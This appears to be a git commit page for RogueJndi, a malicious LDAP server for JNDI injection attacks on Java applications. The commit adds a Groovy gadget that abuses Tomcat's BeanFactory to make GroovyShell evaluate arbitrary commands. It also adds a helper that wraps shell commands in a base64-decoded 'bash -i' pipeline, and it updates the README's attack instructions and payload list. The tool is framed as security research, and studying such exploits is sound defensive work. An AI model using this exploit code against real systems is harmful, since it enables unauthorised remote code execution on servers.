v1.1: new Groovy gadget by Orange Tsai

master
Michael Stepankin 5 years ago
parent 3f213948d4
commit ed2f0fe72d
  1. 10
      README.md
  2. 8
      pom.xml
  3. 12
      src/main/java/artsploit/Utilities.java
  4. 51
      src/main/java/artsploit/controllers/Groovy.java
  5. 1
      src/main/java/artsploit/controllers/Tomcat.java
  6. 6
      src/test/java/RogueJndiTest.java

@ -5,7 +5,7 @@ A malicious LDAP server for JNDI injection attacks.
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br>
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
```java
InitialContext.lookup("ldap://your_server.com:1389/o=reference");
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
```
It will initiate a connection from the vulnerable client to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
@ -16,6 +16,7 @@ In addition to the known JNDI attack methods(via remote classloading in referenc
### Supported payloads
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory**
* [Groovy.java](/src/main/java/artsploit/controllers/Groovy.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** + **groovy.lang.GroovyShell**
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**
@ -47,7 +48,7 @@ As an alternative to the "-c" option, you can modify the [ExportObject.java](/sr
### Example:
```
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
@ -56,6 +57,7 @@ Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
@ -75,9 +77,11 @@ This software is provided solely for educational purposes and/or for testing sys
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research
* [Orange Tsai](https://twitter.com/orange_8361) and [Welk1n](https://github.com/welk1n) for the Apache + Groovy gadget
### Links
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
* [How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM](https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html)
### Authors
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research
[Michael Stepankin](https://twitter.com/artsploit)

@ -4,7 +4,7 @@
<groupId>RogueJndi</groupId>
<artifactId>RogueJndi</artifactId>
<version>1.0</version>
<version>1.1</version>
<packaging>jar</packaging>
@ -38,6 +38,12 @@
<version>0.9.12</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>

@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.Base64;
public class Utilities {
@ -40,4 +41,15 @@ public class Utilities {
else
return baseDN.substring(startIndex, endIndex);
}
/**
* Encode bash command with Base64 to safely use within any script
* @param command
* @return
*/
public static String getBase64CommandTpl(String command) {
return "bash -c {echo," +
Base64.getEncoder().encodeToString(command.getBytes()) +
"}|{base64,-d}|{bash,-i}";
}
}

@ -0,0 +1,51 @@
package artsploit.controllers;
import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import static artsploit.Utilities.getBase64CommandTpl;
import static artsploit.Utilities.serialize;
/**
* Yields:
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
* When bean is created on the server side, we can control its class name and setter methods,
* so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script
*
* @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details
*
* Requires:
* Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*/
@LdapMapping(uri = { "/o=groovy" })
public class Groovy implements LdapController {
String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command));
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x",payload));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

@ -22,6 +22,7 @@ import static artsploit.Utilities.serialize;
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
*
* Requires:
* Tomcat 8+ or SpringBoot 1.2.x+ in classpath
* - tomcat-embed-core.jar
* - tomcat-embed-el.jar
*

@ -22,6 +22,7 @@ public class RogueJndiTest {
RogueJndi.main(new String[0]);
}
@Ignore
@Test
public void reference() throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
@ -33,6 +34,11 @@ public class RogueJndiTest {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat");
}
@Test
public void groovy() throws Exception {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=groovy");
}
@Ignore
@Test
public void websphere1() throws Exception {

Loading…
Cancel
Save